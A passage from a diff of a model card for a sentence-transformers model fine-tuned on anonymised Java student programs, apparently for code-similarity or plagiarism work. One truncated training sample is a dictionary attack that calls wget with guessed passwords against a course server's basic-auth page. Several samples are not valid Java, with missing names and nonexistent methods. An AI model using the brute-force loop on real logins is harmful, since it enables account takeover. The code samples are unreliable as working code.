, \" \" + encoding);\n doRequest();\n }\n\n \n protected BasicAuthHttpRequest(String\
|
556 |
+
\ url)\n throws MalformedURLException, IOException\n {\n super(url);\n\
|
557 |
+
\ }\n\n \n public BasicAuthHttpRequest()\n {\n super();\n \
|
558 |
+
\ }\n\n\n \n public String getPassword()\n {\n return password;\n\
|
559 |
+
\ }\n\n \n public String getUserName()\n {\n return userName;\n\
|
560 |
+
\ }\n\n \n public void setPassword(String string)\n {\n password\
|
561 |
+
\ = string;\n }\n\n \n public void setUserName(String string)\n {\n\
|
562 |
+
\ userName = string;\n }\n\n public static void main (String[] args)\n\
|
563 |
+
\ {\n BasicAuthHttpRequest client = null;\n try\n {\n\
|
564 |
+
\ client = new BasicAuthHttpRequest(args[0], args[1], args[2]);\n \
|
565 |
+
\ }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n\
|
566 |
+
\ }\n catch (IOException e)\n {\n e.printStackTrace();\n\
|
567 |
+
\ }\n finally\n {\n if (client != null && client.getCode()\
|
568 |
+
\ != HttpURLConnection.HTTP_UNAUTHORIZED)\n {\n System.out.println(\n\
|
569 |
+
\ \"Request response : \\n\" + client.getCode());\n\n\n \
|
570 |
+
\ System.out.println(\n \"Request processing time\
|
571 |
+
\ (milliseconds): \" +\n (client.getEnd().getTime() - client.getStart().getTime()));\n\
|
572 |
+
\n System.out.println(\n \"Request content:\
|
573 |
+
\ \\n\" + client.getContent());\n }\n else\n \
|
574 |
+
\ {\n System.out.println(\n \"Request response\
|
575 |
+
\ : \\n\" + client.getCode());\n\n\n }\n }\n }\n}\n"
|
576 |
+
sentences:
|
577 |
+
- "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\
|
578 |
+
import java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public\
|
579 |
+
\ static FileWriter out = null, output = null;\n\n public static void main\
|
580 |
+
\ (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream\
|
581 |
+
\ = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode\
|
582 |
+
\ = \"HTTP/1.1 200 OK\";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n\
|
583 |
+
\ System.out.println(\"Detecting the changes...\");\n\n try {\n\n\
|
584 |
+
\t \n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\
|
585 |
+
);\n URLConnection yc = yahoo.openConnection();\n\n \n \
|
586 |
+
\ BufferedReader in = new BufferedReader(\n \
|
587 |
+
\ new InputStreamReader(\n yc.getInputStream()));\n\
|
588 |
+
\n String inputLine;\n try {\n out = new\
|
589 |
+
\ FileWriter(\"newstudent\");\n while ((inputLine = in.readLine())\
|
590 |
+
\ != null){\n out.write(inputLine + \"\\n\");\n \
|
591 |
+
\ }\n } catch (IOException ex) {\n ex.printStackTrace();\n\
|
592 |
+
\ }\n in.print();\n out.print();\n\n \
|
593 |
+
\ dirty = diff();\n if (dirty == 1){\n sendMail();\n\
|
594 |
+
\ System.out.println(\"Changes detected and email sent!\");\n \
|
595 |
+
\ }\n\n if (diffimages() == 1){\n sendMail();\n\
|
596 |
+
\ System.out.println(\"Images modification detected and email sent!\"\
|
597 |
+
);\n }\n\n updatePage();\n System.out.println(\"\
|
598 |
+
** End of WatchDog checking **\");\n\n } catch (Exception ex) {\n \
|
599 |
+
\ ex.printStackTrace();\n }\n }\n\n public static\
|
600 |
+
\ int diff()\n {\n int update = 0;\n\n try{\n Process\
|
601 |
+
\ process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n\
|
602 |
+
\ BufferedReader pr = new BufferedReader(\n \
|
603 |
+
\ new InputStreamReader(\n process.getInputStream()));\n\
|
604 |
+
\n output = new FileWriter(\"output\");\n String inputLine;\n\
|
605 |
+
\ while ((inputLine = pr.readLine()) != null){\n output.write(inputLine\
|
606 |
+
\ + \"\\n\");\n update = 1;\n }\n output.promt();\n\
|
607 |
+
\n }catch (Exception ex){\n ex.printStackTrace();\n }\n\
|
608 |
+
\ return update;\n }\n\n public static int diffimages()\n {\n \
|
609 |
+
\ int update = 0;\n String image;\n\n try{\n Process\
|
610 |
+
\ primages = Runtime.getRuntime().exec(\"./images.sh\");\n wait(1);\n\
|
611 |
+
\ File imageFile = new File(\"imagesname\");\n BufferedReader\
|
612 |
+
\ fr = new BufferedReader(new FileReader(imageFile));\n\n output = new\
|
613 |
+
\ FileWriter(\"output\");\n while ((image = fr.readLine()) != null)\
|
614 |
+
\ {\n primages = Runtime.getRuntime().exec(\"diff \" + image +\
|
615 |
+
\ \" o\"+image);\n BufferedReader pr = new BufferedReader(\n \
|
616 |
+
\ new InputStreamReader(\n \
|
617 |
+
\ primages.getInputStream()));\n\n String\
|
618 |
+
\ inputLine;\n while ((inputLine = pr.readLine()) != null){\n\
|
619 |
+
\ output.write(inputLine + \"\\n\");\n \
|
620 |
+
\ update = 1;\n }\n }\n output.print();\n\
|
621 |
+
\ fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n\
|
622 |
+
\ }\n return update;\n }\n\n public static void sendMail()\n\
|
623 |
+
\ {\n try{\n Process mailprocess = Runtime.getRuntime().exec(\"\
|
624 |
+
./email.sh\");\n }catch (Exception ex){\n ex.printStackTrace();\n\
|
625 |
+
\ }\n }\n\n public static void updatePage()\n {\n String\
|
626 |
+
\ image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec(\"\
|
627 |
+
cp newstudent RMITCSStudent\");\n Process deleteprocess = Runtime.getRuntime().exec(\"\
|
628 |
+
rm newstudent\");\n\n File inputFile = new File(\"imagesname\");\n \
|
629 |
+
\ BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n\
|
630 |
+
\ while ((image = fr.readLine()) != null) {\n updateprocess\
|
631 |
+
\ = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n \
|
632 |
+
\ deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n \
|
633 |
+
\ }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n\
|
634 |
+
\ }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\
|
635 |
+
\t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\
|
636 |
+
\n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}"
|
637 |
+
- "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\
|
638 |
+
\ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\
|
639 |
+
\ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\
|
640 |
+
\ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\
|
641 |
+
\ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\
|
642 |
+
is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\
|
643 |
+
\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\
|
644 |
+
os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\
|
645 |
+
\ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\
|
646 |
+
HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
|
647 |
+
\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
|
648 |
+
\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
|
649 |
+
\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\
|
650 |
+
\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
|
651 |
+
\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\
|
652 |
+
Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\
|
653 |
+
<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\
|
654 |
+
got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\
|
655 |
+
\ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\
|
656 |
+
\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\
|
657 |
+
if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"
|
658 |
+
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
|
659 |
+
\npublic class WatchDog {\n public static void main (String[] args) throws IOException\
|
660 |
+
\ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
|
661 |
+
\ try{\n twentyfourhours = 86400000;\n Timer timer = new Timer();\n \
|
662 |
+
\ final Runtime rt = Runtime.getRuntime();\n\n try{\n Process wg1 = rt.exec(\"\
|
663 |
+
./.sh\");\n wg1.waitFor();\n }\n catch(InterruptedException e ){\n \
|
664 |
+
\ System.err.println();\n e.printStackTrace();\n }\n\n class RepeatTask\
|
665 |
+
\ extends TimerTask{\n public void run(){\n try{\n Process wg2\
|
666 |
+
\ = rt.exec(\"./task.sh\");\n wg2.waitFor();\n FileReader fr = new\
|
667 |
+
\ FileReader(\"check.txt\");\n BufferedReader bufr = new BufferedReader(fr);\n\
|
668 |
+
\ String check = bufr.readLine();\n if(check.equals(\".txt: FAILED\"\
|
669 |
+
)) {\n Process difftosend = rt.exec(\"./diff.sh\");\n difftosend.waitFor();\n\
|
670 |
+
\ Process reset = rt.exec(\"./.sh\");\n reset.waitFor();\n \
|
671 |
+
\ }\n FileReader fr2 = new FileReader(\"imgdiffs.txt\");\n BufferedReader\
|
672 |
+
\ bufr2 = new BufferedReader(fr2);\n String imdiff = bufr2.readLine();\n\
|
673 |
+
\ if(imdiff != null){\n Process imdifftosend = rt.exec(\"./img.sh\"\
|
674 |
+
);\n imdifftosend.waitFor();\n Process reset = rt.exec(\"./.sh\"\
|
675 |
+
);\n reset.waitFor();\n }\n }\n catch(InterruptedException\
|
676 |
+
\ e){System.err.println();e.printStackTrace();}\n catch(IOException e){\n\
|
677 |
+
\ System.err.println(e);\n e.printStackTrace();\n }\n }}\n\
|
678 |
+
\n timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);\n\
|
679 |
+
\ \n }\n catch(IOException e){\n System.err.println(e);\n e.printStackTrace();\n\
|
680 |
+
\ }\n \n}}\n"
|
681 |
+
pipeline_tag: sentence-similarity
|
682 |
+
library_name: sentence-transformers
|
683 |
+
---
|
684 |
+
|
685 |
+
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
|
686 |
+
|
687 |
+
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
|
688 |
+
|
689 |
+
## Model Details
|
690 |
+
|
691 |
+
### Model Description
|
692 |
+
- **Model Type:** Sentence Transformer
|
693 |
+
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
|
694 |
+
- **Maximum Sequence Length:** 512 tokens
|
695 |
+
- **Output Dimensionality:** 768 dimensions
|
696 |
+
- **Similarity Function:** Cosine Similarity
|
697 |
+
<!-- - **Training Dataset:** Unknown -->
|
698 |
+
<!-- - **Language:** Unknown -->
|
699 |
+
<!-- - **License:** Unknown -->
|
700 |
+
|
701 |
+
### Model Sources
|
702 |
+
|
703 |
+
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
|
704 |
+
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
|
705 |
+
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
|
706 |
+
|
707 |
+
### Full Model Architecture
|
708 |
+
|
709 |
+
```
|
710 |
+
SentenceTransformer(
|
711 |
+
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
|
712 |
+
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
|
713 |
+
)
|
714 |
+
```
|
715 |
+
|
716 |
+
## Usage
|
717 |
+
|
718 |
+
### Direct Usage (Sentence Transformers)
|
719 |
+
|
720 |
+
First install the Sentence Transformers library:
|
721 |
+
|
722 |
+
```bash
|
723 |
+
pip install -U sentence-transformers
|
724 |
+
```
|
725 |
+
|
726 |
+
Then you can load this model and run inference.
|
727 |
+
```python
|
728 |
+
from sentence_transformers import SentenceTransformer
|
729 |
+
|
730 |
+
# Download from the 🤗 Hub
|
731 |
+
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-ST-1")
|
732 |
+
# Run inference
|
733 |
+
sentences = [
|
734 |
+
'\npackage java.httputils;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.sql.Timestamp;\n\n\npublic class BasicAuthHttpRequest extends HttpRequestClient\n{\n String userName;\n String password;\n \n protected BasicAuthHttpRequest(String url, String userName, String password)\n throws MalformedURLException, IOException\n {\n setPassword(password);\n setUserName(userName);\n setServerURL(new URL(url));\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n String userPassword = userName + ":" + password;\n\n \n String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n \n\n setHttpConnection(\n (HttpURLConnection)this.getServerURL().openConnection());\n\n \n getHttpConnection().setRequestProperty ("Authorization", " " + encoding);\n doRequest();\n }\n\n \n protected BasicAuthHttpRequest(String url)\n throws MalformedURLException, IOException\n {\n super(url);\n }\n\n \n public BasicAuthHttpRequest()\n {\n super();\n }\n\n\n \n public String getPassword()\n {\n return password;\n }\n\n \n public String getUserName()\n {\n return userName;\n }\n\n \n public void setPassword(String string)\n {\n password = string;\n }\n\n \n public void setUserName(String string)\n {\n userName = string;\n }\n\n public static void main (String[] args)\n {\n BasicAuthHttpRequest client = null;\n try\n {\n client = new BasicAuthHttpRequest(args[0], args[1], args[2]);\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n }\n catch (IOException e)\n {\n e.printStackTrace();\n }\n finally\n {\n if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)\n {\n System.out.println(\n "Request response : \\n" + client.getCode());\n\n\n System.out.println(\n "Request processing time (milliseconds): " +\n (client.getEnd().getTime() - client.getStart().getTime()));\n\n System.out.println(\n "Request content: \\n" + client.getContent());\n }\n else\n {\n System.out.println(\n "Request response : \\n" + client.getCode());\n\n\n }\n }\n }\n}\n',
|
735 |
+
'import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public static FileWriter out = null, output = null;\n\n public static void main (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode = "HTTP/1.1 200 OK";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n System.out.println("Detecting the changes...");\n\n try {\n\n\t \n URL yahoo = new URL("http://www.cs.rmit.edu./students/");\n URLConnection yc = yahoo.openConnection();\n\n \n BufferedReader in = new BufferedReader(\n new InputStreamReader(\n yc.getInputStream()));\n\n String inputLine;\n try {\n out = new FileWriter("newstudent");\n while ((inputLine = in.readLine()) != null){\n out.write(inputLine + "\\n");\n }\n } catch (IOException ex) {\n ex.printStackTrace();\n }\n in.print();\n out.print();\n\n dirty = diff();\n if (dirty == 1){\n sendMail();\n System.out.println("Changes detected and email sent!");\n }\n\n if (diffimages() == 1){\n sendMail();\n System.out.println("Images modification detected and email sent!");\n }\n\n updatePage();\n System.out.println("** End of WatchDog checking **");\n\n } catch (Exception ex) {\n ex.printStackTrace();\n }\n }\n\n public static int diff()\n {\n int update = 0;\n\n try{\n Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent");\n BufferedReader pr = new BufferedReader(\n new InputStreamReader(\n process.getInputStream()));\n\n output = new FileWriter("output");\n String inputLine;\n while ((inputLine = pr.readLine()) != null){\n output.write(inputLine + "\\n");\n update = 1;\n }\n output.promt();\n\n }catch (Exception ex){\n ex.printStackTrace();\n }\n return update;\n }\n\n public static int diffimages()\n {\n int update = 0;\n String image;\n\n try{\n Process primages = Runtime.getRuntime().exec("./images.sh");\n wait(1);\n File imageFile = new File("imagesname");\n BufferedReader fr = new BufferedReader(new FileReader(imageFile));\n\n output = new FileWriter("output");\n while ((image = fr.readLine()) != null) {\n primages = Runtime.getRuntime().exec("diff " + image + " o"+image);\n BufferedReader pr = new BufferedReader(\n new InputStreamReader(\n primages.getInputStream()));\n\n String inputLine;\n while ((inputLine = pr.readLine()) != null){\n output.write(inputLine + "\\n");\n update = 1;\n }\n }\n output.print();\n fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n }\n return update;\n }\n\n public static void sendMail()\n {\n try{\n Process mailprocess = Runtime.getRuntime().exec("./email.sh");\n }catch (Exception ex){\n ex.printStackTrace();\n }\n }\n\n public static void updatePage()\n {\n String image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent");\n Process deleteprocess = Runtime.getRuntime().exec("rm newstudent");\n\n File inputFile = new File("imagesname");\n BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n while ((image = fr.readLine()) != null) {\n updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image);\n deleteprocess = Runtime.getRuntime().exec("rm " + image);\n }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}',
|
736 |
+
'import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\\r\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("MAIL FROM:"+sender+"\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("RCPT :"+recipient+"\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("data"+"\\n");\n\n\t\t\tbd.writeBytes("Subject:"+subject+"\\n");\n\n\t\t\tbd.writeBytes(message+"\\n.\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println("Host unknown.");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println("<EOF>");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println("got exception: "+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith("250"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}',
|
737 |
+
]
|
738 |
+
embeddings = model.encode(sentences)
|
739 |
+
print(embeddings.shape)
|
740 |
+
# [3, 768]
|
741 |
+
|
742 |
+
# Get the similarity scores for the embeddings
|
743 |
+
similarities = model.similarity(embeddings, embeddings)
|
744 |
+
print(similarities.shape)
|
745 |
+
# [3, 3]
|
746 |
+
```
|
747 |
+
|
748 |
+
<!--
|
749 |
+
### Direct Usage (Transformers)
|
750 |
+
|
751 |
+
<details><summary>Click to see the direct usage in Transformers</summary>
|
752 |
+
|
753 |
+
</details>
|
754 |
+
-->
|
755 |
+
|
756 |
+
<!--
|
757 |
+
### Downstream Usage (Sentence Transformers)
|
758 |
+
|
759 |
+
You can finetune this model on your own dataset.
|
760 |
+
|
761 |
+
<details><summary>Click to expand</summary>
|
762 |
+
|
763 |
+
</details>
|
764 |
+
-->
|
765 |
+
|
766 |
+
<!--
|
767 |
+
### Out-of-Scope Use
|
768 |
+
|
769 |
+
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
|
770 |
+
-->
|
771 |
+
|
772 |
+
<!--
|
773 |
+
## Bias, Risks and Limitations
|
774 |
+
|
775 |
+
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
|
776 |
+
-->
|
777 |
+
|
778 |
+
<!--
|
779 |
+
### Recommendations
|
780 |
+
|
781 |
+
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
|
782 |
+
-->
|
783 |
+
|
784 |
+
## Training Details
|
785 |
+
|
786 |
+
### Training Dataset
|
787 |
+
|
788 |
+
#### Unnamed Dataset
|
789 |
+
|
790 |
+
* Size: 33,411 training samples
|
791 |
+
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
|
792 |
+
* Approximate statistics based on the first 1000 samples:
|
793 |
+
| | sentence_0 | sentence_1 | label |
|
794 |
+
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
|
795 |
+
| type | string | string | int |
|
796 |
+
| details | <ul><li>min: 51 tokens</li><li>mean: 444.12 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 54 tokens</li><li>mean: 462.06 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> |
|
797 |
+
* Samples:
|
798 |
+
| sentence_0 | sentence_1 | label |
|
799 |
+
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
|
800 |
+
| <code><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.Runtime;<br><br>public class WatchDog{<br> public WatchDog(){}<br><br><br> public void copyTo(){<br><br> }<br><br> public static void main(String[] args) throws Exception {<br> WatchDog wd= new WatchDog();<br> SendEMail t = new SendEMail();<br> PrintWriter pw=null;<br> URL url = new URL("http://www.cs.rmit.edu./students");<br> URLConnection yc = url.openConnection();<br> System.out.println("Connection opened...");<br> BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));<br> String inputLine;<br> try{<br> pw=new PrintWriter(new FileOutputStream("newHtml"));<br> while ((inputLine = in.readLine()) != null){<br> <br> pw.println(inputLine);<br> }<br> pw.save();<br> }catch(IOException e){<br> System.out.println("Error saving the file");<br> }<br><br> <br> Process p = Runtime.getRuntime().exec("diff -b newHtml oldHtml"); <br> ...</code> | <code><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import java.*;<br>import java.util.*;<br><br>public class DictionaryAttack<br>{<br> public static void main ( String args[])<br> {<br> <br> String function,pass,temp1;<br> int count =0;<br> <br> try{<br> <br> FileReader fr = new FileReader("words.txt");<br> BufferedReader bfread = new BufferedReader(fr);<br><br> Runtime rtime = Runtime.getRuntime();<br> Process prs = null; <br><br><br> while(( bf = bfread.readLine()) != null)<br> {<br> <br> <br> if( f.length() < 4 )<br> {<br> System.out.println(+ " The Attack Number =====>" + count++ );<br> pass = f;<br> <br> function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";<br> prs = rtime.exec(function);<br> <br> InputStreamReader stre = new InputStreamReader(prs.getErrorStream());<br> BufferedReader bread = new BufferedReader(stre);<br> while( (temp1 = bread.readLine())!= null)<br> {<br> System.out.println(temp1);<br> if(temp1.equals("HTTP request sent, awaiting resp...</code> | <code>0</code> |
|
801 |
+
| <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class WatchDog<br>{<br><br> public WatchDog()<br> {<br> }<br><br> public static void main(String[] args)<br> {<br> try<br> {<br> if( args.length != 2 )<br> {<br> System.out.println("USAGE: java WatchDog <URL> <mailing UserName>");<br> System.exit(0);<br> }<br><br> Runtime.getRuntime().exec("rm LastWatch.html");<br> Runtime.getRuntime().exec("rm WatchDog.ini");<br><br> Thread.sleep(1000);<br><br> while (true)<br> {<br> WatchDog myWatchDog = new WatchDog();<br> myWatchDog.readHTML(args[0], args[1]);<br><br> Runtime.getRuntime().exec("rm Report.txt");<br> Runtime.getRuntime().exec("rm diffReport.txt");<br> Runtime.getRuntime().exec("rm NewWatch.txt");<br><br> System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog...");<br><br> Thread.sleep(2*60*1000); <br><br><br> }<br> ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br> <br><br>class MyAuthenticator extends Authenticator {<br><br> String password;<br><br> public MyAuthenticator(String pwdin) {<br> password = pwdin;<br> }<br> <br> protected PasswordAuthentication getPasswordAuthentication(){<br> String pwd = password;<br> return new PasswordAuthentication("",pwd.toCharArray());<br> }<br>}<br></code> | <code>0</code> |
|
802 |
+
| <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br>public class HoldSharedData<br>{<br> private int numOfConnections = 0;<br> private int startTime;<br> private int totalTime = 0;<br> private String[] password;<br> private int pwdCount;<br><br> public HoldSharedData( int time, String[] pwd, int count )<br> {<br> startTime = time;<br><br> password = pwd;<br> pwdCount = count;<br> }<br><br> public int getPwdCount()<br> {<br> return pwdCount;<br> }<br><br> public void setNumOfConnections( )<br> {<br> numOfConnections ++;<br> }<br><br> public int getNumOfConnections()<br> {<br> return numOfConnections;<br> }<br><br> public int getStartTime()<br> {<br> return startTime;<br> }<br><br> public void setTotalTime( int newTotalTime )<br> {<br> totalTime = newTotalTime;<br> }<br><br> public int getTotalTime()<br> {<br> return totalTime;<br> }<br><br> public String getPasswordAt( int index )<br> {<br> return password[index];<br> }<br>} <br></code> | <code>0</code> |
|
803 |
+
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
|
804 |
+
|
805 |
+
### Training Hyperparameters
|
806 |
+
#### Non-Default Hyperparameters
|
807 |
+
|
808 |
+
- `per_device_train_batch_size`: 16
|
809 |
+
- `per_device_eval_batch_size`: 16
|
810 |
+
- `num_train_epochs`: 1
|
811 |
+
- `fp16`: True
|
812 |
+
- `multi_dataset_batch_sampler`: round_robin
|
813 |
+
|
814 |
+
#### All Hyperparameters
|
815 |
+
<details><summary>Click to expand</summary>
|
816 |
+
|
817 |
+
- `overwrite_output_dir`: False
|
818 |
+
- `do_predict`: False
|
819 |
+
- `eval_strategy`: no
|
820 |
+
- `prediction_loss_only`: True
|
821 |
+
- `per_device_train_batch_size`: 16
|
822 |
+
- `per_device_eval_batch_size`: 16
|
823 |
+
- `per_gpu_train_batch_size`: None
|
824 |
+
- `per_gpu_eval_batch_size`: None
|
825 |
+
- `gradient_accumulation_steps`: 1
|
826 |
+
- `eval_accumulation_steps`: None
|
827 |
+
- `torch_empty_cache_steps`: None
|
828 |
+
- `learning_rate`: 5e-05
|
